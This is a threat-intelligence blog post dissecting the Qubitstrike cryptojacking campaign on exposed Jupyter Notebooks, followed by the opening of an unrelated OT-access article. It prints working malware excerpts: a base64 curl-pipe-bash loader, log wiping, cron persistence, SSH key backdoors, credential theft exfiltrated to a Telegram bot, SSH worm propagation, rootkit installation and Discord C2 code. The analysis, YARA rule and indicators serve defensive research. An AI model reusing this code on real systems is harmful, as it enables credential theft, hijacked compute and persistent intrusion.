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October 18, 2023

Qubitstrike: An Emerging Malware Campaign Targeting Jupyter Notebooks

Qubitstrike is an emerging cryptojacking campaign primarily targeting exposed Jupyter Notebooks that exfiltrates cloud credentials, mines XMRig, and employs persistence mechanisms. The malware utilizes Discord for C2, displaying compromised host information and enabling command execution, file transfer, and process hiding via the Diamorphine rootkit.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
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18
Oct 2023

Introduction: Qubitstrike

Researchers from Cado Security Labs (now part of Darktrace) have discovered a new cryptojacking campaign targeting exposed Jupyter Notebooks. The malware includes relatively sophisticated command and control (C2) infrastructure, with the controller using Discord’s bot functionality to issue commands on compromised nodes and monitor the progress of the campaign.

After successful compromise, Qubitstrike hunts for a number of hardcoded credential files for popular cloud services (including AWS and Google Cloud) and exfiltrates these via the Telegram Bot API. Cado researchers were alerted to the use of one such credential file, demonstrating the attacker’s intent to pivot to cloud resources, after using Qubitstrike to retrieve the appropriate credentials.

The payloads for the Qubitstrike campaign are all hosted on Codeberg, an alternative Git hosting platform, providing much of the same functionality as Github. This is the first time Cado researchers have encountered this platform in an active malware campaign. It’s possible that Codeberg’s up-and-coming status makes it attractive as a hosting service for malware developers.

Figure 1: Qubitstrike Discord C2 operation

Initial access

The malware was first observed on Cado’s high interaction Jupyter honeypot. An IP in Tunisia connected to the Jupyter instance on the honeypot machine and opened a Bash instance using Jupyter’s terminal feature. Following this, they ran the following commands to compromise the machine:

#<timestamp> 
lscpu 
#<timestamp> 
sudo su 
#<timestamp> 
ls 
#<timestamp> 
ls -rf 
#<timestamp> 
curl 
#<timestamp> 
echo "Y3VybCAtbyAvdG1wL20uc2ggaHR0cHM6Ly9jb2RlYmVyZy5vcmcvbTRydDEvc2gvcmF3L2JyYW5jaC9tYWluL21pLnNoIDsgY2htb2QgK3ggL3RtcC9tLnNoIDsgL3RtcC9tLnNoIDsgcm0gLWYgL3RtcC9tLnNoIDsgaGlzdG9yeSAtYyAK" | base64 -d | bash 

Given the commands were run over a span of 195 seconds, this suggests that they were performed manually. Likely, the operator of the malware had discovered the honeypot via a service such as Shodan, which is commonly used to discover vulnerable services by threat actors.

The history indicates that the attacker first inspected what was available on the machine - running lscpu to see what CPU it was running and sudo su to determine if root access was possible.

The actor then looks at the files in the current directory, likely to spot any credential files or indicators of the system’s purpose that have been left around. Cado’s high interaction honeypot system features bait credential files containing canary tokens for various services such as AWS, which caught the attackers attention.

The attacker then confirms curl is present on the system, and runs a base64 encoded command, which decodes to:

<code lang="bash" class="language-bash">curl -o /tmp/m.sh https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh ; chmod +x /tmp/m.sh ; /tmp/m.sh ; rm -f /tmp/m.sh ; history -c</code> 

This downloads and executes the main script used by the attacker. The purpose of base64 encoding the curl command is likely to hide the true purpose of the script from detection.

mi.sh

After achieving initial access via exploitation of a Jupyter Notebook, and retrieving the primary payload via the method described above, mi.sh is executed on the host and kickstarts the Qubitstrike execution chain. 

As the name suggests, mi.sh is a shell script and is responsible for the following:

  • Retrieving and executing the XMRig miner
  • Registering cron persistence and inserting an attacker-controlled SSH key
  • Retrieving and installing the Diamorphine rootkit
  • Exfiltrating credentials from the host
  • Propagating the malware to related hosts via SSH

As is common with these types of script-based cryptojacking campaigns, the techniques employed are often stolen or repurposed from similar malware samples, making attribution difficult. For this reason, the following analysis will highlight code that is either unique to Qubitstrike or beneficial to those responding to Qubitstrike compromises.

System preparation

mi.sh begins by conducting a number of system preparation tasks, allowing the operator to evade detection and execute their miner without interference. The first such task is to rename the binaries for various data transfer utilities, such as curl and wget - a common technique in these types of campaigns. It’s assumed that the intention is to avoid triggering detections for use of these utilities in the target environment, and also to prevent other users from accessing them. This technique has previously been observed by Cado researchers in campaigns by the threat actor WatchDog.

clear ; echo -e "$Bnr\n Replacing WGET, CURL ...\n$Bnr" ; sleep 1s 
if [[ -f /usr/bin/wget ]] ; then mv /usr/bin/wget /usr/bin/zget ; fi 
if [[ -f /usr/bin/curl ]] ; then mv /usr/bin/curl /usr/bin/zurl ; fi 
if [[ -f /bin/wget ]] ; then mv /bin/wget /bin/zget ; fi 
if [[ -f /bin/curl ]] ; then mv /bin/curl /bin/zurl ; fi 
fi 
if [[ -x "$(command -v zget)" ]] ; then req="zget -q -O -" ; DLr="zget -O"; elif [[ -x "$(command -v wget)" ]] ; then req="wget -q -O -" ; DLr="wget -O"; elif [[ -x "$(command -v zurl)" ]] ; then req="zurl" ; DLr="zurl -o"; elif [[ -x "$(command -v curl)" ]] ; then req="curl" ; DLr="curl -o"; else echo "[!] There no downloader Found"; fi 

Example code snippet demonstrating renamed data transfer utilities

mi.sh will also iterate through a hardcoded list of process names and attempt to kill the associated processes. This is likely to thwart any mining operations by competitors who may have previously compromised the system.

list1=(\.Historys neptune xm64 xmrig suppoieup '*.jpg' '*.jpeg' '/tmp/*.jpg' '/tmp/*/*.jpg' '/tmp/*.xmr' '/tmp/*xmr' '/tmp/*/*xmr' '/tmp/*/*/*xmr' '/tmp/*nanom' '/tmp/*/*nanom' '/tmp/*dota' '/tmp/dota*' '/tmp/*/dota*' '/tmp/*/*/dota*','chron-34e2fg') 
list2=(xmrig xm64 xmrigDaemon nanominer lolminer JavaUpdate donate python3.2 sourplum dota3 dota) 
list3=('/tmp/sscks' './crun' ':3333' ':5555' 'log_' 'systemten' 'netns' 'voltuned' 'darwin' '/tmp/dl' '/tmp/ddg' '/tmp/pprt' '/tmp/ppol' '/tmp/65ccE' '/tmp/jmx*' '/tmp/xmr*' '/tmp/nanom*' '/tmp/rainbow*' '/tmp/*/*xmr' 'http_0xCC030' 'http_0xCC031' 'http_0xCC033' 'C4iLM4L' '/boot/vmlinuz' 'nqscheduler' '/tmp/java' 'gitee.com' 'kthrotlds' 'ksoftirqds' 'netdns' 'watchdogs' '/dev/shm/z3.sh' 'kinsing' '/tmp/l.sh' '/tmp/zmcat' '/tmp/udevd' 'sustse' 'mr.sh' 'mine.sh' '2mr.sh' 'cr5.sh' 'luk-cpu' 'ficov' 'he.sh' 'miner.sh' 'nullcrew' 'xmrigDaemon' 'xmrig' 'lolminer' 'xmrigMiner' 'xiaoyao' 'kernelcfg' 'xiaoxue' 'kernelupdates' 'kernelupgrade' '107.174.47.156' '83.220.169.247' '51.38.203.146' '144.217.45.45' '107.174.47.181' '176.31.6.16' 'mine.moneropool.com' 'pool.t00ls.ru' 'xmr.crypto-pool.fr:8080' 'xmr.crypto-pool.fr:3333' 'zhuabcn@yahoo.com' 'monerohash.com' 'xmr.crypto-pool.fr:6666' 'xmr.crypto-pool.fr:7777' 'xmr.crypto-pool.fr:443' 'stratum.f2pool.com:8888' 'xmrpool.eu') 
list4=(kworker34 kxjd libapache Loopback lx26 mgwsl minerd minexmr mixnerdx mstxmr nanoWatch nopxi NXLAi performedl polkitd pro.sh pythno qW3xT.2 sourplum stratum sustes wnTKYg XbashY XJnRj xmrig xmrigDaemon xmrigMiner ysaydh zigw lolm nanom nanominer lolminer) 
if type killall > /dev/null 2>&1; then for k1 in "${list1[@]}" ; do killall $k1 ; done fi for k2 in "${list2[@]}" ; do pgrep $k2 | xargs -I % kill -9 % ; done for k3 in "${list3[@]}" ; do ps auxf | grep -v grep | grep $k3 | awk '{print $2}' | xargs -I % kill -9 % ; done for k4 in "${list4[@]}" ; do pkill -f $k4 ; done }  

Example of killing competing miners

Similarly, the sample uses the netstat command and a hardcoded list of IP/port pairs to terminate any existing network connections to these IPs. Additional research on the IPs themselves suggests that they’ve been previously  in cryptojacking [1] [2].

net_kl() { 
list=(':1414' '127.0.0.1:52018' ':143' ':3389' ':4444' ':5555' ':6666' ':6665' ':6667' ':7777' ':3347' ':14444' ':14433' ':13531' ':15001' ':15002') 
for k in "${list[@]}" ; do netstat -anp | grep $k | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % ; done 
netstat -antp | grep '46.243.253.15' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '176.31.6.16' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '108.174.197.76' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '192.236.161.6' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '88.99.242.92' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
} 

Using netstat to terminate open network connections

Furthermore, the sample includes a function named log_f() which performs some antiforensics measures by deleting various Linux log files when invoked. These include /var/log/secure, which stores successful/unsuccessful authentication attempts and /var/log/wtmp, which stores a record of system-wide logins and logouts. 

log_f() { 
logs=(/var/log/wtmp /var/log/secure /var/log/cron /var/log/iptables.log /var/log/auth.log /var/log/cron.log /var/log/httpd /var/log/syslog /var/log/wtmp /var/log/btmp /var/log/lastlog) 
for Lg in "${logs[@]}" ; do echo 0> $Lg ; done 
} 

Qubitstrike Linux log file antiforensics

Retrieving XMRig

After performing some basic system preparation operations, mi.sh retrieves a version of XMRig hosted in the same Codeberg repository as mi.sh. The miner itself is hosted as a tarball, which is unpacked and saved locally as python-dev. This name is likely chosen to make the miner appear innocuous in process listings. 

After unpacking, the miner is executed in /usr/share/.LQvKibDTq4 if mi.sh is running as a regular unprivileged user, or /tmp/.LQvKibDTq4 if mi.sh is running as root.

miner() { 
if [[ ! $DLr -eq 0 ]] ; then 
$DLr $DIR/xm.tar.gz $miner_url > /dev/null 2>&1 
tar -xf $DIR/xm.tar.gz -C $DIR 
rm -rf $DIR/xm.tar.gz > /dev/null 2>&1 
chmod +x $DIR/* 
$DIR/python-dev -B -o $pool -u $wallet -p $client --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90 
else 
if [[ -x "$(command -v python3)" ]] ; then 
python3 -c "import urllib.request; urllib.request.urlretrieve('$miner_url', '$DIR/xm.tar.gz')" 
if [ -s $DIR/xm.tar.gz ] ; then 
tar -xf $DIR/xm.tar.gz -C $DIR 
rm -rf $DIR/xm.tar.gz > /dev/null 2>&1 
chmod +x $DIR/python-dev 
$DIR/$miner_name -B -o $pool -u $wallet -p $client --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90 
fi 
fi 
fi 
} 

Qubitstrike miner execution code

The malware uses a hardcoded mining pool and wallet ID, which can be found in the Indicators of Compromise (IoCs) section.

Registering persistence

mi.sh utilizes cron for persistence on the target host. The malware writes four separate cronjobs, apache2, apache2.2, netns and netns2, which are responsible for: 

  • executing the miner at reboot
  • executing an additional payload (kthreadd) containing the competitor-killing code mentioned previously
  • executing mi.sh on a daily basis
cron_set() { 
killerd="/usr/share/.28810" 
mkdir -p $killerd 
if [[ ! $DLr -eq 0 ]] ; then 
$DLr $killerd/kthreadd $killer_url 
chmod +x $killerd/kthreadd 
chattr -R -ia /etc/cron.d 
echo "@reboot root $DIR/$miner_name -c $DIR/config.json" > /etc/cron.d/apache2 
echo "@daily root $req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash" > /etc/cron.d/apache2.2 
echo -e "*/1 * * * * root /usr/share/.28810/kthreadd" > /etc/cron.d/netns 
echo -e "0 0 */2 * * * root curl https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash" > /etc/cron.d/netns2 
cat /etc/crontab | grep -e "https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh" | grep -v grep 
if [ $? -eq 0 ]; then 
: 
else 
echo "0 * * * * wget -O- https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash > /dev/null 2>&1" >> /etc/crontab 
echo "0 0 */3 * * * $req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash > /dev/null 2>&1" >> /etc/crontab 
fi 
chattr -R +ia /etc/cron.d 
fi 
} 

Cron persistence code examples

As mentioned previously, mi.sh will also insert an attacker-controlled SSH key, effectively creating a persistent backdoor to the compromised host. The malware will also override various SSH server configurations options, ensuring that root login and public key authentication are enabled, and that the SSH server is listening on port 22.

echo "${RSA}" >>/root/.ssh/authorized_keys 
chattr -aui /etc/ssh >/dev/null 2>&1 
chattr -aui /etc/ssh/sshd_config /etc/hosts.deny /etc/hosts.allow >/dev/null 2>&1 
echo >/etc/hosts.deny 
echo >/etc/hosts.allow 
mkdir -p /etc/ssh 
sed -i -e 's/Port 78//g' -e 's/\#Port 22/Port 22/g' -e 's/\#PermitRootLogin/PermitRootLogin/g' -e 's/PermitRootLogin no/PermitRootLogin yes/g' -e 's/PubkeyAuthentication no/PubkeyAuthentication yes/g' -e 's/PasswordAuthentication yes/PasswordAuthentication no/g' /etc/ssh/sshd_config 
chmod 600 /etc/ssh/sshd_config 

Inserting an attacker-controlled SSH key and updating sshd_config

Credential exfiltration

One of the most notable aspects of Qubitstrike is the malware’s ability to hunt for credential files on the target host and exfiltrate these back to the attacker via the Telegram Bot API. Notably, the malware specifically searches for AWS and Google Cloud credential files, suggesting targeting of these Cloud Service Providers (CSPs) by the operators.

DATA_STRING="IP: $client | WorkDir: $DIR | User: $USER | cpu(s): $cpucount | SSH: $SSH_Ld | Miner: $MINER_stat" 
zurl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${DATA_STRING}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 || curl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${DATA_STRING}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 
CRED_FILE_NAMES=("credentials" "cloud" ".s3cfg" ".passwd-s3fs" "authinfo2" ".s3backer_passwd" ".s3b_config" "s3proxy.conf" \ "access_tokens.db" "credentials.db" ".smbclient.conf" ".smbcredentials" ".samba_credentials" ".pgpass" "secrets" ".boto" \ ".netrc" ".git-credentials" "api_key" "censys.cfg" "ngrok.yml" "filezilla.xml" "recentservers.xml" "queue.sqlite3" "servlist.conf" "accounts.xml" "azure.json" "kube-env") for CREFILE in ${CRED_FILE_NAMES[@]}; do find / -maxdepth 23 -type f -name $CREFILE 2>/dev/null | xargs -I % sh -c 'echo :::%; cat %' >> /tmp/creds done SECRETS="$(cat /tmp/creds)" zurl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${SECRETS}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 || curl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${SECRETS}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 cat /tmp/creds rm /tmp/creds } 

Enumerating credential files and exfiltrating them via Telegram

Inspection of this Telegram integration revealed a bot named Data_stealer which was connected to a private chat with a user named z4r0u1. Cado researchers assess with high confidence that the malware transmits the collection of the credentials files to this Telegram bot where their contents are automatically displayed in a private chat with the z4r0u1 user.

@z4r0u1 Telegram user profile
Figure 2: @z4r0u1 Telegram user profile

SSH propagation

Similar to other cryptojacking campaigns, Qubitstrike attempts to propagate in a worm-like fashion to related hosts. It achieves this by using a regular expression to enumerate IPs in the SSH known_hosts file in a loop, before issuing a command to retrieve a copy of mi.sh and piping it through bash on each discovered host.

ssh_local() { 
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then 
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '$req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash >/dev/null 2>&1 &' & done 
fi 
} 

SSH propagation commands

This ensures that the primary payload is executed across multiple hosts, using their collective processing power for the benefit of the mining operation.

Diamorphine rootkit

Another notable feature of Qubitstrike is the deployment of the Diamorphine LKM rootkit, used to hide the attacker’s malicious processes. The rootkit itself is delivered as a base64-encoded tarball which is unpacked and compiled directly on the host. This results in a Linux kernel module, which is then loadable via the insmod command.

hide1() { 
ins_package 
hidf='H4sIAAAAAAAAA+0ba3PbNjJfxV+BKq2HVGRbshW1jerMuLLi6PyQR7bb3ORyGJqEJJ4oksOHE7f1/fbbBcE35FeTXnvH/RBTwGJ3sdgXHjEtfeX63sJy2J <truncated> 
echo $hidf|base64 -d > $DIR/hf.tar 
tar -xf $DIR/hf.tar -C $DIR/ 
cd $DIR 
make 
proc="$(ps aux | grep -v grep | grep 'python-dev' | awk '{print $2}')" 
if [ -f "$DIR/diamorphine.ko" ] ; then 
insmod diamorphine.ko 
echo "Hiding process ( python-dev ) pid ( $proc )" 
kill -31 $proc 
else 
rm -rf $DIR/diamorphine* 
rm $DIR/Make* 
rm -f $DIR/hf.tar 
fi 
} 

Insmod method of installing Diamorphine

The attackers also provide a failover option to cover situations where the insmod method is unsuccessful. Rather than unpacking and installing a kernel module, they instead compile the Diamorphine source to produce a Linux Shared Object file and use the LD Preload technique to register it with the dynamic linker. This results in it being executed whenever a new executable is launched on the system.

hide2() { 
hidf='I2RlZmluZSBfR05VX1NPVVJDRQoKI2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxkbGZjbi5oPgojaW5jb <truncated> 
echo $hidf | base64 -d > $DIR/prochid.c 
sed -i 's/procname/python-dev/g' $DIR/prochid.c 
chattr -ia /etc/ld.so.preload /usr/local/lib/ >/dev/null 2>&1 
gcc -Wall -fPIC -shared -o /usr/local/lib/libnetresolv.so $DIR/prochid.c -ldl 
echo /usr/local/lib/libnetresolv.so > /etc/ld.so.preload 
if [ -f /usr/local/lib/libnetresolv.so ] ; then 
chattr +i /usr/local/lib/libnetresolv.so 
chattr +i /etc/ld.so.preload 
else 
rm -f /etc/ld.so.preload 
fi 
} 

Installing Diamorphine via the LD Preload method

Diamorphine is well-known in Linux malware circles, with the rootkit being observed in campaigns from TeamTNT and, more recently, Kiss-a-dog. Compiling the malware on delivery is common and is used to evade EDRs and other detection mechanisms.

Credential access

As mentioned earlier, the mi.sh sample searches the file system for credentials files and exfiltrates them over Telegram. Shortly after receiving an alert that Cado’s bait AWS credentials file was accessed on the honeypot machine, another alert indicated that the actor had attempted to use the credentials.

Credential alert
Figure 3: Credential alert

The user agent shows that the system running the command is Kali Linux, which matches up with the account name in the embedded SSH key from mi.sh. The IP is a residential IP in Bizerte, Tunisia (although the attacker also used an IP located in Tunis). It is possible this is due to the use of a residential proxy, however it could also be possible that this is the attacker’s home IP address or a local mobile network.

In this case, the attacker tried to fetch the IAM role of the canary token via the AWS command line utility. They then likely realized it was a canary token, as no further alerts of its use were observed.  

Discord C2

Exploring the Codeberg repository, a number of other scripts were discovered, one of which is kdfs.py. This python script is an implant/agent, designed to be executed on compromised hosts, and uses a Discord bot as a C2. It does this by embedding a Discord token within the script itself, which is then passed into the popular Discord bot client library, Discord.py.

Using Discord as a C2 isn’t uncommon, large amounts of malware will abuse developer-friendly features such as webhooks and bots. This is due to the ease of access and use of these features (taking seconds to spin up a fresh account and making a bot) as well as familiarity with the platforms themselves. Using Software-as-a-Service (SaaS) platforms like Discord also make C2 traffic harder to identify in networks, as traffic to SaaS platforms is usually ubiquitous and may pose challenges to sort through.

Interestingly, the author opted to store this token in an encoded form, specifically Base64 encoded, then Base32 encoded, and then further encoded using ROT13. This is likely an attempt to prevent third parties from reading the script and retrieving the token. However, as the script contains the code to decode it (before passing it to Discord.py), it is trivial to reverse.

# decrypt api 
token = "XEYSREFAVH2GZI2LZEUSREGZTIXT44PTZIPGPIX2TALR6MYAWL3SV3GQBIWQN3OIZAPHZGXZAEWQXIXJAZMR6EF2TIXSZHFKZRMJD4PJAIGGPIXSVI2R23WIVMXT24PXZZLQFMFAWORKDH2IVMPSVZGHYV======" 
token = codecs.decode(token, 'rot13') 
token = base64.b32decode(token) 
token = base64.b64decode(token) 
token = token.decode('ascii') 

Example of Python decoding multiple encoding mechanisms

As Discord.py is likely unavailable on the compromised systems, the README for the repository contains a one-liner that converts the python script into a self-contained executable, as seen below:

<code lang="bash" class="language-bash">mkdir -p /usr/share/games/.2928 ; D=/usr/share/games/.2928 ; wget https://codeberg.org/m4rt1/sh/raw/branch/main/kdfs.py -O $D/kdfs.py ; pip install Discord ; pip install pyinstaller ; cd $D ; pyinstaller --onefile --clean --name kdfs kdfs.py ; mv /dist/kdfs kdfs</code> 

Once kdfs.py is executed on a host, it will drop a message in a hardcoded channel, stating a randomly generated ID of the host, and the OS the host is running (derived from /etc/os-release). The bot then registers a number of commands that allow the operator to interact with the implant. As each implant runs the same bot, each command uses the randomly generated ID of the host to determine which implant a specific command is directed at. It also checks the ID of the user sending the command matches a hardcoded user ID of the operator.

@bot.command(pass_context=True) 
async def cmd(ctx): 
    # Only allow commands from authorized users 
    if await auth(ctx): 
        return 
    elif client_id in ctx.message.content: 
        # Strips chars preceeding command from command string 
        command = str(ctx.message.content)[(len(client_id) + 6):] 
        ret = f"[!] Executing on `{client_id}` ({client_ip})!\n```shell\n{client_user}$ {command}\n\n{os.popen(command).read()}```" 
        await ctx.send(ret) 
    else: 
        return 

There is also support for executing a command on all nodes (no client ID check), but interestingly this feature does not include authentication, so anyone with access to the bot channel can run commands. The implant also makes use of Discord for data exfiltration, permitting files to be both uploaded and downloaded via Discord attachments. Using SaaS platforms for data exfiltration is growing more common, as traffic to such websites is difficult to track and ubiquitous, allowing threat actors to bypass network defenses easier.

@bot.command(pass_context=True) 
async def upload(ctx): 
    # Only allow commands from authorized users 
    if await auth(ctx): 
        return 
    elif ctx.message.attachments: 
        url = str(ctx.message.attachments[0]) 
        os.popen(f"wget -q {url}").read() 
        path = os.popen('pwd').read().strip() 
        await ctx.send(f'[!] Uploaded attachment to `{path+"/"+ctx.message.attachments[0].filename}` on client: `{client_id}`.') 
    else: 
        await ctx.send('[!] No attachment provided.') 
@bot.command(pass_context=True) async def download(ctx): # Only allow commands from authorized users if await auth(ctx): return else: file_path = str(ctx.message.content)[(len(client_id) + 11):] file_size = int((os.popen(f"du {file_path}" + " | awk '{print $1}'")).read()) if file_size > 3900: await ctx.send(f'[!] The requested file ({file_size} bytes) exceeds the Discord API upload capacity (3900) bytes.') else: await ctx.send(file=Discord.File(rf'{file_path}')) 

As mentioned earlier, the Discord token is directly embedded in the script. This allows observation of the Discord server itself and observe the attacker interacting with the implants. The name of the server used is “NETShadow”, and the channel the bot posts to is “victims”. The server also had another channel titled “ssh”,  however it was empty. 

All of the channels were made at the exact same time on September 2, 2023, suggesting that the creation process was automated. The bot’s username is Qubitstrike (hence the name was given to the malware) and the operator’s pseudonym is “BlackSUN”. 17 unique IP addresses were observed in the channel.

Example Qubitstrike output displayed in Discord
Figure 4: Example Qubitstrike output displayed in Discord

It is unclear what the relation between mi.sh and kdfs.py is. It would appear that the operator first deploys kdfs.py and then uses the implant to deploy mi.sh, however on Cado’s honeypot, kdfs.py was never deployed, only mi.sh was.

Conclusion

Qubitstrike is a relatively sophisticated malware campaign, spearheaded by attackers with a particular focus on exploitation of cloud services. Jupyter Notebooks are commonly deployed in cloud environments, with providers such as Google and AWS offering them as managed services. Furthermore, the primary payload for this campaign specifically targets credential files for these providers and Cado’s use of canary tokens demonstrates that further compromise of cloud resources is an objective of this campaign.

Of course, the primary objective of Qubitstrike appears to be resource hijacking for the purpose of mining the XMRig cryptocurrency. Despite this, analysis of the Discord C2 infrastructure shows that, in reality, any conceivable attack could be carried out by the operators after gaining access to these vulnerable hosts. 

Cado urges readers with Jupyter Notebook deployments to review the security of the Jupyter servers themselves, paying particular attention to firewall and security group configurations. Ideally, the notebooks should not be exposed to the public internet. If you require them to be exposed, ensure that you have enabled authentication for them. 

References  

  1. https://blog.csdn.net/hubaoquanu/article/details/108700572
  2. https://medium.com/@EdwardCrowder/detecting-and-analyzing-zero-days-log4shell-cve-2021-44228-distributing-kinsing-go-lang-malware-5c1485e89178

YARA rule

rule Miner_Linux_Qubitstrike { 
meta: 
description = "Detects Qubitstrike primary payload (mi.sh)" 
author = "mmuir@cadosecurity.com" 
date = "2023-10-10" 
attack = "T1496" 
license = "Apache License 2.0" 
hash1 = "9a5f6318a395600637bd98e83d2aea787353207ed7792ec9911b775b79443dcd" 
strings: 
$const1 = "miner_url=" 
$const2 = "miner_name=" 
$const3 = "killer_url=" 
$const4 = "kill_url2=" 
$creds = "\"credentials\" \"cloud\" \".s3cfg\" \".passwd-s3fs\" \"authinfo2\" \".s3backer_passwd\" \".s3b_config\" \"s3proxy.conf\"" 
$log1 = "Begin disable security" $log2 = "Begin proccess kill" $log3 = "setup hugepages" $log4 = "SSH setup" $log5 = "Get Data && sent stats" 
$diam1 = "H4sIAAAAAAAAA+0ba3PbNjJfxV+BKq2HVGRbshW1jerMuLLi6PyQR7bb3ORyGJqEJJ4oksOHE7f1" $diam2 = "I2RlZmluZSBfR05VX1NPVVJDRQoKI2luY2x1ZGUgPHN0ZGlvLmg" 
$wallet = "49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo" condition: 3 of ($const*) and $creds and 3 of ($log*) and all of ($diam*) and $wallet } 

Indicators of compromise

Filename  SHA256

mi.sh 9a5f6318a395600637bd98e83d2aea787353207ed7792ec9911b775b79443dcd

kdfs.py bd23597dbef85ba141da3a7f241c2187aa98420cc8b47a7d51a921058323d327

xm64.tar.gz 96de9c6bcb75e58a087843f74c04af4489f25d7a9ce24f5ec15634ecc5a68cd7

xm64 20a0864cb7dac55c184bd86e45a6e0acbd4bb19aa29840b824d369de710b6152

killer.sh ae65e7c5f4ff9d56e882d2bbda98997541d774cefb24e381010c09340058d45f

kill_loop.sh a34a36ec6b7b209aaa2092cc28bc65917e310b3181e98ab54d440565871168cb

Paths

/usr/share/.LQvKibDTq4

/usr/local/lib/libnetresolv.so

/tmp/.LQvKibDTq4

/usr/bin/zget

/usr/bin/zurl

/usr/share/.28810

/usr/share/.28810/kthreadd

/bin/zget

/bin/zurl

/etc/cron.d/apache2

/etc/cron.d/apache2.2

/etc/cron.d/netns

/etc/cron.d/netns2

SSH keys

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDV+S/3d5qwXg1yvfOm3ZTHqyE2F0zfQv1g12Wb7H4N5EnP1m8WvBOQKJ2htWqcDg2dpweE7htcRsHDxlkv2u+MC0g1b8Z/HawzqY2Z5FH4LtnlYq1QZcYbYIPzWCxifNbHPQGexpT0v/e6z27NiJa6XfE0DMpuX7lY9CVUrBWylcINYnbGhgSDtHnvSspSi4Qu7YuTnee3piyIZhN9m+tDgtz+zgHNVx1j0QpiHibhvfrZQB+tgXWTHqUazwYKR9td68twJ/K1bSY+XoI5F0hzEPTJWoCl3L+CKqA7gC3F9eDs5Kb11RgvGqieSEiWb2z2UHtW9KnTKTRNMdUNA619/5/HAsAcsxynJKYO7V/ifZ+ONFUMtm5oy1UH+49ha//UPWUA6T6vaeApzyAZKuMEmFGcNR3GZ6e8rDL0/miNTk6eq3JiQFR/hbHpn8h5Zq9NOtCoUU7lOvTGAzXBlfD5LIlzBnMA3EpigTvLeuHWQTqNPEhjYNy/YoPTgBAaUJE= root@kali

URLs

https://codeberg[.]org/m4rt1/sh/raw/branch/main/xm64.tar.gz

https://codeberg[.]org/m4rt1/sh/raw/branch/main/killer.sh

https://codeberg[.]org/m4rt1/sh/raw/branch/main/kill_loop.sh

Cryptocurrency wallet ID

49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo

Cryptocurrency mining pool

pool.hashvault.pro:80

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

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November 20, 2025

Managing OT Remote Access with Zero Trust Control & AI Driven Detection

managing OT remote access with zero trust control and ai driven detectionDefault blog imageDefault blog image

The shift toward IT-OT convergence

Recently, industrial environments have become more connected and dependent on external collaboration. As a result, truly air-gapped OT systems have become less of a reality, especially when working with OEM-managed assets, legacy equipment requiring remote diagnostics, or third-party integrators who routinely connect in.

This convergence, whether it’s driven by digital transformation mandates or operational efficiency goals, are making OT environments more connected, more automated, and more intertwined with IT systems. While this convergence opens new possibilities, it also exposes the environment to risks that traditional OT architectures were never designed to withstand.

The modernization gap and why visibility alone isn’t enough

The push toward modernization has introduced new technology into industrial environments, creating convergence between IT and OT environments, and resulting in a lack of visibility. However, regaining that visibility is just a starting point. Visibility only tells you what is connected, not how access should be governed. And this is where the divide between IT and OT becomes unavoidable.

